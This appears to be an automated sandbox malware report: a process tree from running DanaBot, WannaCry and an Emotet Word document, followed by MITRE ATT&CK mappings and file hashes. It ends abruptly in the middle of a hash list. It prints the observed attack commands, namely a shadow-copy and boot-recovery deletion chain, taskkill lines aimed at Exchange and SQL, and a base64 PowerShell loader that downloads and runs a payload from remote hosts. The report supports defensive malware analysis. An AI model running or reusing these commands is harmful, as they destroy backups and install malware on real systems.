- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=es --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5660,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=5668 /prefetch:14
  2⤵
  PID:5368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=es --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5844,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:14
  2⤵
  PID:2092
- - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
    cookie_exporter.exe --cookie-json=1132
    3⤵
    PID:1704
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=es --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5892,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:14
  2⤵
  PID:5844
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=es --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5892,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:14
  2⤵
  PID:2336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=6400,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=6408 /prefetch:1
  2⤵
  PID:1060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=es --service-sandbox-type=collections --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5712,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:14
  2⤵
  PID:5096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=es --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6748,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=6412 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:3024
- C:\Users\Admin\Downloads\DanaBot.exe
  "C:\Users\Admin\Downloads\DanaBot.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4144
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 260
    3⤵
    - Program crash
    PID:1200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=es --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=732,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=6880 /prefetch:14
  2⤵
  PID:4008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=es --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7048,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=6436 /prefetch:14
  2⤵
  PID:4272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=es --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6292,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=7076 /prefetch:14
  2⤵
  PID:5660
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=es --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4640,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=4868 /prefetch:14
  2⤵
  PID:6136
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=es --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3744,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:14
  2⤵
  PID:480
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=es --service-sandbox-type=collections --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3728,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:14
  2⤵
  PID:4756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=5144,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=7008 /prefetch:1
  2⤵
  PID:4900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=es --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5368,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:14
  2⤵
  - NTFS ADS
  PID:2260
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=es --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=2804,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=6884 /prefetch:14
  2⤵
  PID:1956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=3528,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=7252 /prefetch:10
  2⤵
  PID:4476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=es --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=1468,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:14
  2⤵
  PID:4868
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=es --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6540,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:14
  2⤵
  PID:1748
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=es --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6540,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:14
  2⤵
  PID:380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --field-trial-handle=4672,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=6520 /prefetch:1
  2⤵
  PID:1968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=es --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5212,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:3784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=es --service-sandbox-type=icon_reader --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3692,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:14
  2⤵
  PID:2388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=es --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4784,i,4452301753135443955,8962490029214856159,262144 --variations-seed-version --mojo-platform-channel-handle=3720 /prefetch:14
  2⤵
  PID:4732
- C:\Users\Admin\Downloads\WannaCry.exe
  "C:\Users\Admin\Downloads\WannaCry.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  PID:5148
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 12861744610991.bat
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1392
  - - C:\Windows\SysWOW64\cscript.exe
      cscript //nologo c.vbs
      4⤵
      System Location Discovery: System Language Discovery
      PID:4768
- - C:\Users\Admin\Downloads\!WannaDecryptor!.exe
    !WannaDecryptor!.exe f
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5208
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im MSExchange*
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1828
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Microsoft.Exchange.*
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4572
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sqlserver.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1408
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sqlwriter.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5188
- - C:\Users\Admin\Downloads\!WannaDecryptor!.exe
    !WannaDecryptor!.exe c
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:1060
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start /b !WannaDecryptor!.exe v
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3036
  - - C:\Users\Admin\Downloads\!WannaDecryptor!.exe
      !WannaDecryptor!.exe v
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:1824
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5456
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5944
- - C:\Users\Admin\Downloads\!WannaDecryptor!.exe
    !WannaDecryptor!.exe
    3⤵
    - Executes dropped EXE
    - Sets desktop wallpaper using registry
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:2692

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:2128

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
  2⤵
  PID:1412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4144 -ip 4144
1⤵
PID:944

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /0
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1248

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:6072

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Temp1_Emotet.zip\[email protected]" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3944
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enco JABqAHIARgBoAEEAMAA9ACcAVwBmADEAcgBIAHoAJwA7ACQAdQBVAE0ATQBMAEkAIAA9ACAAJwAyADgANAAnADsAJABpAEIAdABqADQAOQBOAD0AJwBUAGgATQBxAFcAOABzADAAJwA7ACQARgB3AGMAQQBKAHMANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdQBVAE0ATQBMAEkAKwAnAC4AZQB4AGUAJwA7ACQAUwA5AEcAegBSAHMAdABNAD0AJwBFAEYAQwB3AG4AbABHAHoAJwA7ACQAdQA4AFUAQQByADMAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBsAEkARQBuAHQAOwAkAHAATABqAEIAcQBJAE4ARQA9ACcAaAB0AHQAcAA6AC8ALwBiAGwAbwBjAGsAYwBoAGEAaQBuAGoAbwBiAGwAaQBzAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADAAMQA0ADAAOAAwAC8AQABoAHQAdABwAHMAOgAvAC8AdwBvAG0AZQBuAGUAbQBwAG8AdwBlAHIAbQBlAG4AdABwAGEAawBpAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHAAYQBiAGEANQBxADUAMgAvAEAAaAB0AHQAcABzADoALwAvAGEAdABuAGkAbQBhAG4AdgBpAGwAbABhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMAA3ADMANwAzADUALwBAAGgAdAB0AHAAcwA6AC8ALwB5AGUAdQBxAHUAeQBuAGgAbgBoAGEAaQAuAGMAbwBtAC8AdQBwAGwAbwBhAGQALwA0ADEAOAAzADAALwBAAGgAdAB0AHAAcwA6AC8ALwBkAGUAZQBwAGkAawBhAHIAYQBpAC4AYwBvAG0ALwBqAHMALwA0AGIAegBzADYALwAnAC4AIgBzAFAATABgAGkAVAAiACgAJwBAACcAKQA7ACQAbAA0AHMASgBsAG8ARwB3AD0AJwB6AEkAUwBqAEUAbQBpAFAAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYAMwBoAEUAUABNAE0AWgAgAGkAbgAgACQAcABMAGoAQgBxAEkATgBFACkAewB0AHIAeQB7ACQAdQA4AFUAQQByADMALgAiAEQATwB3AGAATgBgAGwATwBhAEQAZgBpAGAATABlACIAKAAkAFYAMwBoAEUAUABNAE0AWgAsACAAJABGAHcAYwBBAEoAcwA2ACkAOwAkAEkAdgBIAEgAdwBSAGkAYgA9ACcAcwA1AFQAcwBfAGkAUAA4ACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQARgB3AGMAQQBKAHMANgApAC4AIgBMAGUATgBgAGcAVABoACIAIAAtAGcAZQAgADIAMwA5ADMAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAVAAiACgAJABGAHcAYwBBAEoAcwA2ACkAOwAkAHoARABOAHMAOAB3AGkAPQAnAEYAMwBXAHcAbwAwACcAOwBiAHIAZQBhAGsAOwAkAFQAVABKAHAAdABYAEIAPQAnAGkAagBsAFcAaABDAHoAUAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB2AFoAegBpAF8AdQBBAHAAPQAnAGEARQBCAHQAcABqADQAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:428

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\WannaCry.exe" /r
1⤵
PID:2404
- C:\Users\Admin\Downloads\WannaCry.exe
  C:\Users\Admin\Downloads\WannaCry.exe /r
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5092

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4624

C:\Users\Admin\Downloads\!WannaDecryptor!.exe
"C:\Users\Admin\Downloads\!WannaDecryptor!.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3660

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
d4074c435b281a5ad20e7644f185791d

SHA1
0f114cc2c0b793a532377611ad82068f78046bff

SHA256
6ec3a5408a28a01b2821b614f2301d20aa2be4f16bddc83f31dfa269510df6b4

SHA512
08cb5045d569fd56c968f56127814ee7fac30ca0f87cac6f98ca0f47b2862a13837590ebc512f4d9a3ffb7d8fc7865d74deda8a01106e3f8252d91c7ed98e2df

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00007a

Filesize
23KB

MD5
f6ce1bdde83e718616d07f40c20805eb

SHA1
4656e89d80380a336bcc05dd2df9b4a5f9eb4f18

SHA256
965468b9a0b1dde70fb83d0303518645af1d12b63c878a41572ea6dc2658d842

SHA512
6608c21bb919b7fb1ec20f411e5506db06440010cccf5f41b5f0aa0d3463abab3e53d1e9bec871b551c2e96f818b4d5aa22af1c20a6cbc88f362095587319d85

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
5KB

MD5
9ddc16472d38c1ee0444ccbdef55329d

SHA1
1dc712129567029cdca48d15d24dac7c3ace5b3a

SHA256
de79efecd7906c687bd703a06f36d555bc0fcf902a451ea93e6002193c411162

SHA512
68fc7be13c5b6e83ad3c51a7831bc5a0b35cd0d69a3999d5986efbb3b0911d4acbc8a011c618ad0c033fd436ea8f35c974e086512f7e8bec5490346579aca665

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
5KB

MD5
dc4d32b054253370f0fc4db327695ef5

SHA1
10bcf84a0ec5db90fe7424af8f416cbcea8a64da

SHA256
51f626d8f711d2baf1a902107d9b4ff800b1cf9f70e757d1eb27377f1ec119d7

SHA512
4798c7b9d55d5bcd2e0a26f4e38edb15f1103746355857fa9417f0dc1274fc36be734ac76ad7879481f6817e31211f2ab04d2f17f627d42d628cec51a7586e17

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe57f220.TMP

Filesize
3KB

MD5
2f33ffad44e62dfc552d519abff04293

SHA1
a8d06bfcc6414356f3d915fc7ed59846f06fb31b

SHA256
b214fd07caebd4b32413d36ad32d06b3005d16f390f83be34f09e335910d329a

SHA512
87069a169f2fc2648e53f01fdadf74f26219e51150b6a59160ef23d472c5472a8f699a5395606c5ccac0be477d2faf1613a281f9e02d2b0a64c580c720f7c75a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps

Filesize
108KB

MD5
ba4f41b7fda0f213c7d7d5b88fd57038

SHA1
ae4542fdb858e4af0dffc32bcde1b4e76e1796ca

SHA256
b23c6ab80b6ccc32e0412d27dd754b5dc0457cd57990c0998f9b1bb1fbd532c3

SHA512
e630c96d4d49f0c050de922b4d0ab5bd4103b6f7d1425fcc8211737980e2200b20857efa1b9e7b881632e85082f88ee5b63e03f78f0ae29fc02290fab19088a0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
358448667fcfe7474f7e1e9b70d2cc97

SHA1
d6048c91365e97d8bade02cd74c7286fd0036deb

SHA256
44bbd53cebcd5c26828739b9b58ec35b2fa199eae827d0eeaa48540bf3ad0467

SHA512
dbca1d855ef364a7350c19b8e42fd5b4725e15cd1751d33449199b5c305e532c6a2702696d3bb883592d3ec66470293d7f5aeddbcd5c4994e6f8467f0b19a4a6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
29142a89e2e93ef986258f6700ad9b00

SHA1
7a2538e18a129dd205601266c46942fedb942573

SHA256
61b55648cd230df2c837b8614484b496fee13799c013dc9ee5bf7225f51d04fd

SHA512
80f202809cd5a45b2df8b1946425074321f816103624d58e9e609dac1419a4aea755eef04e1b062ec81a21a8c75b7036c2f82b1477d5f51beeafe321d406d3ac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
5fa4f99a66785153da8b7468df7b25b7

SHA1
dddbc462efaa7076c7bfdb2939c8268e7ce93b33

SHA256
ba0e3d103011c6b0edb4c277eb30f8da8ff112895e7a72348a2039dcd4745a86

SHA512
eaad8cf14dd219032db93fd150784d2d59b4ebce5f1a68771859e53588f2374853721d6a4a0f7fd332dc74f93a3c7ca80ac577f52411e8fbea28fdeb11b7c21b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

Filesize
40B

MD5
20d4b8fa017a12a108c87f540836e250

SHA1
1ac617fac131262b6d3ce1f52f5907e31d5f6f00

SHA256
6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d

SHA512
507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
412KB

MD5
2c3c43cd038114e5eead75537c699571

SHA1
dc54524b2d66cd6a1642cdb11784dff3e448640f

SHA256
3570ca74c481a7133ed9ddcfa9cd38207c2d9257ccc6c0c135845cbdee426ee4

SHA512
11e6015fae06c3417b423aeea57dfef86e4dc92f38f96896974a5ef7ae0692561ee943ac269d5d2ed1e02aa9b9ca8b00542b520955030eb2c794ea9454d1b7df

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
413KB

MD5
2f659bf1aa400c6fffbd049eba745a37

SHA1
4f23719f1f6789403adbbcce8695ff8fc62003a0

SHA256
ba448eb1db23f55ffcf02fb9fff96013d38e17a4290e1ccd0b6aa1a1954c62e5

SHA512
5bd3d341c9ea887849fdfee0faff64ec1f0002da0a5cd87043192c9a4ed5607e91ec76b6c2eb82fc32d28d6b3471a92e93dc67dfdbea95b0d2560f9646171ed8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
413KB

MD5
dde73ef8e482d4c549e781c0d0e79164

SHA1
